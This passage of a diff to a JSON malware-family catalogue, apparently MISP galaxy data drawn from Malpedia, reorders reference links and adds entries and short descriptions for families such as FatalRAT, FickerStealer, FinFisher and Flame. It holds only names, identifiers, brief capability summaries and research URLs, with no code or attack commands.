"d3600857-b941-4d47-81ef-02c168396518", + "value": "ExplosiveRAT" + }, + { + "description": "According to Trend MIcro, Extreme RAT (XTRAT, Xtreme Rat) is a Remote Access Trojan that can steal information. This RAT has been used in attacks targeting Israeli and Syrian governments last 2012.\r\n\r\nThis malware family of backdoors has the capability to receive commands such as File Management (Download, Upload, and Execute Files), Registry Management (Add, Delete, Query, and Modify Registry), Perform Shell Command, Computer Control (Shutdown, Log on/off), and Screen capture from a remote attacker. In addition, it can also log keystrokes of the infected systems.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.extreme_rat", + "https://www2.slideshare.net/ChiEnAshleyShen/hitcon-2020-cti-village-threat-hunting-and-campaign-tracking-workshoppptx/1", + "https://www.fireeye.com/blog/threat-research/2014/02/xtremerat-nuisance-or-threat.html", + "https://malware.lu/articles/2012/07/22/xtreme-rat-analysis.html", + "https://mp.weixin.qq.com/s/gWOIRNPLVqX761LW8x-S5g", "https://citizenlab.ca/2015/12/packrat-report/", - "https://www.secureworks.com/research/threat-profiles/aluminum-saratoga", "https://blogs.360.cn/post/APT-C-44.html", "https://community.rsa.com/community/products/netwitness/blog/2017/08/02/malspam-delivers-xtreme-rat-8-1-2017", - "https://www.fireeye.com/blog/threat-research/2014/02/xtremerat-nuisance-or-threat.html", - "https://www.symantec.com/connect/blogs/colombians-major-target-email-campaigns-delivering-xtreme-rat", - "https://mp.weixin.qq.com/s/gWOIRNPLVqX761LW8x-S5g", - "https://malware.lu/articles/2012/07/22/xtreme-rat-analysis.html", - "https://www2.slideshare.net/ChiEnAshleyShen/hitcon-2020-cti-village-threat-hunting-and-campaign-tracking-workshoppptx/1" + "https://www.secureworks.com/research/threat-profiles/aluminum-saratoga", + "https://www.symantec.com/connect/blogs/colombians-major-target-email-campaigns-delivering-xtreme-rat" ], "synonyms": [ "ExtRat" @@ -22822,8 +24246,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.eye_pyramid", - "http://blog.talosintel.com/2017/01/Eye-Pyramid.html", - "https://securelist.com/blog/incidents/77098/the-eyepyramid-attacks/" + "https://securelist.com/blog/incidents/77098/the-eyepyramid-attacks/", + "http://blog.talosintel.com/2017/01/Eye-Pyramid.html" ], "synonyms": [], "type": [] @@ -22836,11 +24260,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.eyservice", - "https://blog.malwarelab.pl/posts/nazar_eyservice_comm/", - "https://www.epicturla.com/blog/the-lost-nazar", + "https://research.checkpoint.com/2020/nazar-spirits-of-the-past/", "https://www.crysys.hu/publications/files/tedi/ukatemicrysys_territorialdispute.pdf", "https://blog.malwarelab.pl/posts/nazar_eyservice/", - "https://research.checkpoint.com/2020/nazar-spirits-of-the-past/" + "https://www.epicturla.com/blog/the-lost-nazar", + "https://blog.malwarelab.pl/posts/nazar_eyservice_comm/" ], "synonyms": [], "type": [] @@ -22848,6 +24272,20 @@ "uuid": "9b287426-e82f-407e-8d12-42dac4241bf8", "value": "EYService" }, + { + "description": "Fabookie is facebook account info stealer.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.fabookie", + "https://ics-cert.kaspersky.com/publications/reports/2021/12/16/pseudomanuscrypt-a-mass-scale-spyware-attack-campaign/", + "https://medium.com/@lcam/updates-from-the-maas-new-threats-delivered-through-nullmixer-d45defc260d1" + ], + "synonyms": [], + "type": [] + }, + "uuid": "782aa125-42ff-4ca0-b9b1-362aac08566b", + "value": "Fabookie" + }, { "description": "", "meta": { @@ -22912,10 +24350,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.fanny", - "https://fmnagisa.wordpress.com/2020/08/27/revisiting-equationgroups-fanny-worm-or-dementiawheel/", - "https://www.welivesecurity.com/wp-content/uploads/2021/12/eset_jumping_the_air_gap_wp.pdf", - "https://securelist.com/equation-the-death-star-of-malware-galaxy/68750/#_1", "https://research.checkpoint.com/2021/a-deep-dive-into-doublefeature-equation-groups-post-exploitation-dashboard/", + "https://securelist.com/equation-the-death-star-of-malware-galaxy/68750/#_1", + "https://www.welivesecurity.com/wp-content/uploads/2021/12/eset_jumping_the_air_gap_wp.pdf", + "https://fmnagisa.wordpress.com/2020/08/27/revisiting-equationgroups-fanny-worm-or-dementiawheel/", "https://fmmresearch.files.wordpress.com/2020/09/theemeraldconnectionreport_fmmr-2.pdf", "https://securelist.com/equation-the-death-star-of-malware-galaxy/68750/", "https://fmmresearch.wordpress.com/2020/09/28/the-emerald-connection-equationgroup-collaboration-with-stuxnet/" @@ -22925,20 +24363,11 @@ ], "type": [] }, - "related": [ - { - "dest-uuid": "1e25d254-3f03-4752-b8d6-023a23e7d4ae", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "6d441619-c5f5-45ff-bc63-24cecd0b237e", "value": "Fanny" }, { - "description": "", + "description": "According to PCrisk, Fantom is a ransomware-type virus that imitates the Windows update procedure while encrypting files. This is unusual, since most ransomware encrypts files stealthily without showing any activity. During encryption, Fantom appends the names of encrypted files with the \".locked4\", \".fantom\" or \".locked\" extension.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.fantomcrypt", @@ -22955,9 +24384,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.farseer", + "https://unit42.paloaltonetworks.com/farseer-previously-unknown-malware-family-bolsters-the-chinese-armoury/", "https://unit42.paloaltonetworks.com/pkplug_chinese_cyber_espionage_group_attacking_asia/", - "https://www.virusbulletin.com/virusbulletin/2020/03/vb2019-paper-pulling-pkplug-adversary-playbook-long-standing-espionage-activity-chinese-nation-state-adversary/", - "https://unit42.paloaltonetworks.com/farseer-previously-unknown-malware-family-bolsters-the-chinese-armoury/" + "https://www.virusbulletin.com/virusbulletin/2020/03/vb2019-paper-pulling-pkplug-adversary-playbook-long-standing-espionage-activity-chinese-nation-state-adversary/" ], "synonyms": [], "type": [] @@ -22982,11 +24411,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.fast_pos", - "https://www.justice.gov/opa/pr/malware-author-pleads-guilty-role-transnational-cybercrime-organization-responsible-more-568", "https://blog.trendmicro.com/trendlabs-security-intelligence/fastpos-updates-in-time-for-retail-sale-season/", "http://documents.trendmicro.com/assets/fastPOS-quick-and-easy-credit-card-theft.pdf", - "https://blog.trendmicro.com/trendlabs-security-intelligence/fastpos-quick-and-easy-credit-card-theft/", - "http://documents.trendmicro.com/assets/Appendix%20-%20FastPOS%20Updates%20in%20Time%20for%20the%20Retail%20Sale%20Season.pdf" + "http://documents.trendmicro.com/assets/Appendix%20-%20FastPOS%20Updates%20in%20Time%20for%20the%20Retail%20Sale%20Season.pdf", + "https://www.justice.gov/opa/pr/malware-author-pleads-guilty-role-transnational-cybercrime-organization-responsible-more-568", + "https://blog.trendmicro.com/trendlabs-security-intelligence/fastpos-quick-and-easy-credit-card-theft/" ], "synonyms": [], "type": [] @@ -22995,14 +24424,14 @@ "value": "FastPOS" }, { - "description": "", + "description": "According to PCrisk, FatalRAT is the name of a Remote Access Trojan (RAT). A RAT is a type of malware that allows the attacker to remotely control the infected computer and use it for various purposes.\r\n\r\nTypically, RATs are used to access files and other data, watch computing activities on the screen and capture screenshots, steal sensitive information (e.g., login credentials, credit card details).\r\n\r\nThere are many legitimate remote administration/access tools on the Internet. It is common that cybercriminals use those tools with malicious intent too.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.fatal_rat", - "https://thehackernews.com/2022/03/purple-fox-hackers-spotted-using-new.html", "https://www.youtube.com/watch?v=gjvnVZc11Vg", - "https://www.trendmicro.com/en_us/research/22/c/purple-fox-uses-new-arrival-vector-and-improves-malware-arsenal.html", - "https://cybersecurity.att.com/blogs/labs-research/new-sophisticated-rat-in-town-fatalrat-analysis" + "https://cybersecurity.att.com/blogs/labs-research/new-sophisticated-rat-in-town-fatalrat-analysis", + "https://thehackernews.com/2022/03/purple-fox-hackers-spotted-using-new.html", + "https://www.trendmicro.com/en_us/research/22/c/purple-fox-uses-new-arrival-vector-and-improves-malware-arsenal.html" ], "synonyms": [], "type": [] @@ -23024,6 +24453,19 @@ "uuid": "4325c84b-9a9b-4e7c-977f-20d7ae817b7e", "value": "FatDuke" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.fauppod", + "https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "e363918a-92ec-49c0-b3b2-1d339200417b", + "value": "Fauppod" + }, { "description": "Ransomware.", "meta": { @@ -23055,8 +24497,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.felixroot", - "https://www.fireeye.com/blog/threat-research/2018/07/microsoft-office-vulnerabilities-used-to-distribute-felixroot-backdoor.html", "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf", + "https://www.fireeye.com/blog/threat-research/2018/07/microsoft-office-vulnerabilities-used-to-distribute-felixroot-backdoor.html", + "https://cocomelonc.github.io/tutorial/2021/09/06/simple-malware-av-evasion-2.html", "https://medium.com/@Sebdraven/when-a-malware-is-more-complex-than-the-paper-5822fc7ff257" ], "synonyms": [], @@ -23083,10 +24526,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.feodo", - "https://feodotracker.abuse.ch/", "http://www.sempersecurus.org/2012/08/cridex-analysis-using-volatility.html", - "https://en.wikipedia.org/wiki/Maksim_Yakubets", "http://contagiodump.blogspot.com/2012/08/cridex-analysis-using-volatility-by.html", + "https://en.wikipedia.org/wiki/Maksim_Yakubets", + "https://feodotracker.abuse.ch/", "https://securelist.com/analysis/publications/78531/dridex-a-history-of-evolution/" ], "synonyms": [ @@ -23095,20 +24538,11 @@ ], "type": [] }, - "related": [ - { - "dest-uuid": "372cdc12-d909-463c-877a-175f97f7abb5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "66781866-f064-467d-925d-5e5f290352f0", "value": "Feodo" }, { - "description": "", + "description": "According to PCrisk, FFDroider is a malicious program classified as a stealer. It is designed to extract and exfiltrate sensitive data from infected devices. FFDroider targets popular social media and e-commerce platforms in particular.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ffdroider", @@ -23122,19 +24556,19 @@ "value": "FFDroider" }, { - "description": "", + "description": "According to CyberArk, this malware is used to steal sensitive information, including login credentials, credit card information, cryptocurrency wallets and browser information from applications such as WinSCP, Discord, Google Chrome, Electrum, etc. It does all that by implementing a different approach than other stealers (we’ll cover it later). Additionally, FickerStealer can function as a File Grabber and collect additional files from the compromised machine, and it can act as a Downloader to download and execute several second-stage malware.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.fickerstealer", - "https://www.bleepingcomputer.com/news/security/fake-microsoft-store-spotify-sites-spread-info-stealing-malware/", - "https://www.binarydefense.com/analysis-of-hancitor-when-boring-begets-beacon", - "https://threatresearch.ext.hp.com/wp-content/uploads/2021/03/HP_Bromium_Threat_Insights_Report_Q4_2020.pdf", - "https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus", - "https://blogs.blackberry.com/en/2021/08/threat-thursday-ficker-infostealer-malware", "https://medium.com/csis-techblog/gcleaner-garbage-provider-since-2019-2708e7c87a8a", - "https://www.cyberark.com/resources/threat-research-blog/fickerstealer-a-new-rust-player-in-the-market", "https://twitter.com/3xp0rtblog/status/1321209656774135810", - "https://www.spamhaus.com/custom-content/uploads/2021/04/Botnet-update-Q1-2021.pdf" + "https://www.binarydefense.com/analysis-of-hancitor-when-boring-begets-beacon", + "https://blogs.blackberry.com/en/2021/08/threat-thursday-ficker-infostealer-malware", + "https://www.cyberark.com/resources/threat-research-blog/fickerstealer-a-new-rust-player-in-the-market", + "https://www.spamhaus.com/custom-content/uploads/2021/04/Botnet-update-Q1-2021.pdf", + "https://threatresearch.ext.hp.com/wp-content/uploads/2021/03/HP_Bromium_Threat_Insights_Report_Q4_2020.pdf", + "https://www.bleepingcomputer.com/news/security/fake-microsoft-store-spotify-sites-spread-info-stealing-malware/", + "https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus" ], "synonyms": [], "type": [] @@ -23160,8 +24594,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.filerase", - "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/shamoon-attackers-employ-new-tool-kit-to-wipe-infected-systems", - "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/shamoon-destructive-threat-re-emerges-new-sting-its-tail" + "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/shamoon-destructive-threat-re-emerges-new-sting-its-tail", + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/shamoon-attackers-employ-new-tool-kit-to-wipe-infected-systems" ], "synonyms": [], "type": [] @@ -23188,8 +24622,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.findpos", "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", - "https://blogs.cisco.com/security/talos/poseidon", - "https://researchcenter.paloaltonetworks.com/2015/03/findpos-new-pos-malware-family-discovered/" + "https://researchcenter.paloaltonetworks.com/2015/03/findpos-new-pos-malware-family-discovered/", + "https://blogs.cisco.com/security/talos/poseidon" ], "synonyms": [ "Poseidon" @@ -23204,27 +24638,28 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.finfisher", - "https://securelist.com/blackoasis-apt-and-new-targeted-attacks-leveraging-zero-day-exploit/82732/", - "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", - "https://netzpolitik.org/2020/our-criminal-complaint-german-state-malware-company-finfisher-raided/", - "https://securelist.com/finspy-unseen-findings/104322/", - "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/", - "http://www.msreverseengineering.com/blog/2018/1/23/a-walk-through-tutorial-with-code-on-statically-unpacking-the-finspy-vm-part-one-x86-deobfuscation", - "https://www.msreverseengineering.com/blog/2018/2/21/devirtualizing-finspy-phase-3-fixing-the-function-related-issues", - "https://www.welivesecurity.com/wp-content/uploads/2018/01/WP-FinFisher.pdf", - "https://www.msreverseengineering.com/blog/2018/2/21/devirtualizing-finspy-phase-2-first-attempt-at-devirtualization", "https://www.msreverseengineering.com/blog/2018/2/21/finspy-vm-unpacking-tutorial-part-3-devirtualization", - "https://www.elastic.co/blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", - "https://www.msreverseengineering.com/blog/2018/2/21/devirtualizing-finspy-phase-4-second-attempt-at-devirtualization", - "https://artemonsecurity.blogspot.de/2017/01/finfisher-rootkit-analysis.html", - "https://www.msreverseengineering.com/blog/2018/2/21/wsbjxrs1jjw7qi4trk9t3qy6hr7dye", - "https://www.codeandsec.com/FinFisher-Malware-Analysis-Part-2", - "https://github.com/RolfRolles/FinSpyVM", - "https://www.binarly.io/posts/Design_issues_of_modern_EDR%E2%80%99s_bypassing_ETW-based_solutions/index.html", - "https://www.welivesecurity.com/2017/09/21/new-finfisher-surveillance-campaigns/", + "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/", "https://www.fireeye.com/blog/threat-research/2017/09/zero-day-used-to-distribute-finspy.html", + "https://www.msreverseengineering.com/blog/2018/2/21/devirtualizing-finspy-phase-3-fixing-the-function-related-issues", + "http://www.msreverseengineering.com/blog/2018/1/23/a-walk-through-tutorial-with-code-on-statically-unpacking-the-finspy-vm-part-one-x86-deobfuscation", + "https://www.welivesecurity.com/wp-content/uploads/2018/01/WP-FinFisher.pdf", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", + "https://www.codeandsec.com/FinFisher-Malware-Analysis-Part-2", + "https://netzpolitik.org/2022/nach-pfaendung-staatstrojaner-hersteller-finfisher-ist-geschlossen-und-bleibt-es-auch/", + "https://www.msreverseengineering.com/blog/2018/2/21/wsbjxrs1jjw7qi4trk9t3qy6hr7dye", + "https://artemonsecurity.blogspot.de/2017/01/finfisher-rootkit-analysis.html", + "https://www.elastic.co/blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", "https://www.amnesty.org/en/latest/research/2020/09/german-made-finspy-spyware-found-in-egypt-and-mac-and-linux-versions-revealed/", - "https://securelist.com/apt-trends-report-q2-2019/91897/" + "https://www.binarly.io/posts/Design_issues_of_modern_EDR%E2%80%99s_bypassing_ETW-based_solutions/index.html", + "https://www.msreverseengineering.com/blog/2018/2/21/devirtualizing-finspy-phase-4-second-attempt-at-devirtualization", + "https://github.com/RolfRolles/FinSpyVM", + "https://securelist.com/blackoasis-apt-and-new-targeted-attacks-leveraging-zero-day-exploit/82732/", + "https://securelist.com/apt-trends-report-q2-2019/91897/", + "https://netzpolitik.org/2020/our-criminal-complaint-german-state-malware-company-finfisher-raided/", + "https://www.msreverseengineering.com/blog/2018/2/21/devirtualizing-finspy-phase-2-first-attempt-at-devirtualization", + "https://www.welivesecurity.com/2017/09/21/new-finfisher-surveillance-campaigns/", + "https://securelist.com/finspy-unseen-findings/104322/" ], "synonyms": [ "FinSpy" @@ -23244,15 +24679,6 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "968df869-7f60-4420-989f-23dfdbd58668", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "9ad28356-184c-4f02-89f5-1b70981598c3", "value": "Fireball" }, @@ -23306,15 +24732,6 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "6ef11b6e-d81a-465b-9dce-fab5c6fe807b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "9715c6bc-4b1e-49a2-b1d8-db4f4c4f042c", "value": "FireMalv" }, @@ -23337,6 +24754,7 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.fishmaster", "https://media-exp1.licdn.com/dms/document/C561FAQHhWFRcWmdCPw/feedshare-document-pdf-analyzed/0/1639591145314?e=1658966400&v=beta&t=_uCcyEVg6b_VDiBTvWQIXtBOdQ1GQAAydqGyq62KA3E", + "https://speakerdeck.com/aragorntseng/winnti-is-coming-evolution-after-prosecution-at-hitcon2021", "https://decoded.avast.io/luigicamastra/backdoored-client-from-mongolian-ca-monpass/" ], "synonyms": [ @@ -23352,18 +24770,18 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.fivehands", - "https://www.crowdstrike.com/blog/new-ransomware-variant-uses-golang-packer/", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a", "https://research.nccgroup.com/2021/06/15/handy-guide-to-a-new-fivehands-ransomware-variant/", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126b", - "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a", "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/yanluowang-ransomware-attacks-continue", - "https://www.esentire.com/blog/conti-affiliate-exposed-new-domain-names-ip-addresses-and-email-addresses-uncovered-by-esentire", + "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", + "https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html", "https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", "https://www.cisa.gov/uscert/ncas/alerts/aa22-249a", - "https://www.bleepingcomputer.com/news/security/yanluowang-ransomware-operation-matures-with-experienced-affiliates/", - "https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html" + "https://www.crowdstrike.com/blog/new-ransomware-variant-uses-golang-packer/", + "https://www.esentire.com/blog/conti-affiliate-exposed-new-domain-names-ip-addresses-and-email-addresses-uncovered-by-esentire", + "https://www.bleepingcomputer.com/news/security/yanluowang-ransomware-operation-matures-with-experienced-affiliates/" ], "synonyms": [ "Thieflock" @@ -23378,11 +24796,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.flagpro", - "https://insight-jp.nttsecurity.com/post/102hf3q/flagpro-the-new-malware-used-by-blacktech", "https://cyberandramen.net/2021/12/12/more-flagpro-more-problems/", + "https://insight-jp.nttsecurity.com/post/102h7vx/blacktechflagpro", + "https://insight-jp.nttsecurity.com/post/102hf3q/flagpro-the-new-malware-used-by-blacktech", "https://vblocalhost.com/uploads/VB2021-50.pdf", "https://jsac.jpcert.or.jp/archive/2022/pdf/JSAC2022_8_hara_en.pdf", - "https://insight-jp.nttsecurity.com/post/102h7vx/blacktechflagpro" + "https://jp.security.ntt/resources/EN-BlackTech_2021.pdf" ], "synonyms": [ "BUSYICE" @@ -23397,28 +24816,20 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.flame", - "https://www.symantec.com/connect/blogs/flamer-recipe-bluetoothache", - "https://www.crysys.hu/publications/files/skywiper.pdf", "https://securelist.com/the-flame-questions-and-answers-51/34344/", - "https://www.welivesecurity.com/wp-content/uploads/2021/12/eset_jumping_the_air_gap_wp.pdf", - "https://www.crysys.hu/publications/files/tedi/ukatemicrysys_territorialdispute.pdf", "https://storage.googleapis.com/chronicle-research/Flame%202.0%20Risen%20from%20the%20Ashes.pdf", - "https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=ce2df4da-afe9-4a24-b28c-0fb3ba671d95&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments" + "https://www.crysys.hu/publications/files/tedi/ukatemicrysys_territorialdispute.pdf", + "https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=ce2df4da-afe9-4a24-b28c-0fb3ba671d95&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments", + "https://github.com/juanandresgs/papers/raw/master/Flame%202.0%20Risen%20from%20the%20Ashes.pdf", + "https://www.symantec.com/connect/blogs/flamer-recipe-bluetoothache", + "https://www.welivesecurity.com/wp-content/uploads/2021/12/eset_jumping_the_air_gap_wp.pdf", + "https://www.crysys.hu/publications/files/skywiper.pdf" ], "synonyms": [ "sKyWIper" ], "type": [] }, - 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"related": [ - { - "dest-uuid": "c7e7063b-b2a2-4046-8a19-94dea018eaa0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "8378b417-605e-4196-b31f-a0c96d75aa50", "value": "Formbook" }, @@ -23738,8 +25141,8 @@ "https://malpedia.caad.fkie.fraunhofer.de/details/win.former_first_rat", "https://researchcenter.paloaltonetworks.com/2015/04/unit-42-identifies-new-dragonok-backdoor-malware-deployed-against-japanese-targets/", "https://decoded.avast.io/luigicamastra/operation-dragon-castling-apt-group-targeting-betting-companies", - "https://unit42.paloaltonetworks.com/atoms/shallowtaurus/", "https://threatvector.cylance.com/en_us/home/breaking-down-ff-rat-malware.html", + "https://unit42.paloaltonetworks.com/atoms/shallowtaurus/", "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/space-pirates-tools-and-connections/" ], "synonyms": [ @@ -23795,9 +25198,9 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.freenki", "https://researchcenter.paloaltonetworks.com/2017/10/unit42-freemilk-highly-targeted-spear-phishing-campaign/", - "http://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html", + "https://www.trendmicro.com/en_us/research/20/l/who-is-the-threat-actor-behind-operation-earth-kitsune-.html", "https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html", - "https://www.trendmicro.com/en_us/research/20/l/who-is-the-threat-actor-behind-operation-earth-kitsune-.html" + "http://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html" ], "synonyms": [], "type": [] @@ -23810,38 +25213,39 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.friedex", - "https://www.welivesecurity.com/2018/01/26/friedex-bitpaymer-ransomware-work-dridex-authors/", - "https://www.bleepingcomputer.com/news/security/new-evil-corp-ransomware-mimics-payloadbin-gang-to-evade-us-sanctions/", - "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", - "https://www.blueliv.com/cyber-security-and-cyber-threat-intelligence-blog-blueliv/research/everis-bitpaymer-ransomware-attack-analysis-dridex/", - "https://www.bleepingcomputer.com/news/security/doppelpaymer-ransomware-launches-site-to-post-victims-data/", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf", "https://www.youtube.com/watch?v=LUxOcpIRxmg", + "https://www.bleepingcomputer.com/news/security/doppelpaymer-ransomware-launches-site-to-post-victims-data/", + "https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions", + "https://www.armor.com/resources/threat-intelligence/the-evolution-of-doppel-spider-from-bitpaymer-to-grief-ransomware/", "https://blog.trendmicro.com/trendlabs-security-intelligence/account-with-admin-privileges-abused-to-install-bitpaymer-ransomware-via-psexec", - "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf", + "https://www.crowdstrike.com/blog/hades-ransomware-successor-to-indrik-spiders-wastedlocker/", "https://blog.trendmicro.com/trendlabs-security-intelligence/ursnif-emotet-dridex-and-bitpaymer-gangs-linked-by-a-similar-loader/", - "https://www.sentinelone.com/wp-content/uploads/2022/02/S1_-SentinelLabs_SanctionsBeDamned_final_02.pdf", + "https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/", "https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html", + "https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf", + "https://www.secureworks.com/research/threat-profiles/gold-drake", + "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", + "https://killingthebear.jorgetesta.tech/actors/evil-corp", "https://www.crowdstrike.com/blog/doppelpaymer-ransomware-and-dridex-2/", "https://sites.temple.edu/care/ci-rw-attacks/", - "https://assets.sentinelone.com/sentinellabs/sentinellabs_EvilCorp", - "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", + "https://lka.polizei.nrw/presse/schlag-gegen-international-agierendes-netzwerk-von-cyber-kriminellen", "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/csi-evidence-indicators-for-targeted-ransomware-attacks/", - "http://www.secureworks.com/research/threat-profiles/gold-drake", - "https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/", - "https://www.crowdstrike.com/blog/hades-ransomware-successor-to-indrik-spiders-wastedlocker/", - "https://www.armor.com/resources/threat-intelligence/the-evolution-of-doppel-spider-from-bitpaymer-to-grief-ransomware/", - "https://nakedsecurity.sophos.com/2018/09/11/the-rise-of-targeted-ransomware/", - "https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions", - "https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/", "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf", + "https://www.sentinelone.com/wp-content/uploads/2022/02/S1_-SentinelLabs_SanctionsBeDamned_final_02.pdf", + "https://nakedsecurity.sophos.com/2018/09/11/the-rise-of-targeted-ransomware/", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", - "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", - "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", - "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/", + "https://www.welivesecurity.com/2018/01/26/friedex-bitpaymer-ransomware-work-dridex-authors/", + "http://www.secureworks.com/research/threat-profiles/gold-drake", "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", - "https://www.secureworks.com/research/threat-profiles/gold-drake", - "https://killingthebear.jorgetesta.tech/actors/evil-corp" + "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf", + "https://www.bleepingcomputer.com/news/security/new-evil-corp-ransomware-mimics-payloadbin-gang-to-evade-us-sanctions/", + "https://www.blueliv.com/cyber-security-and-cyber-threat-intelligence-blog-blueliv/research/everis-bitpaymer-ransomware-attack-analysis-dridex/", + "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/", + "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", + 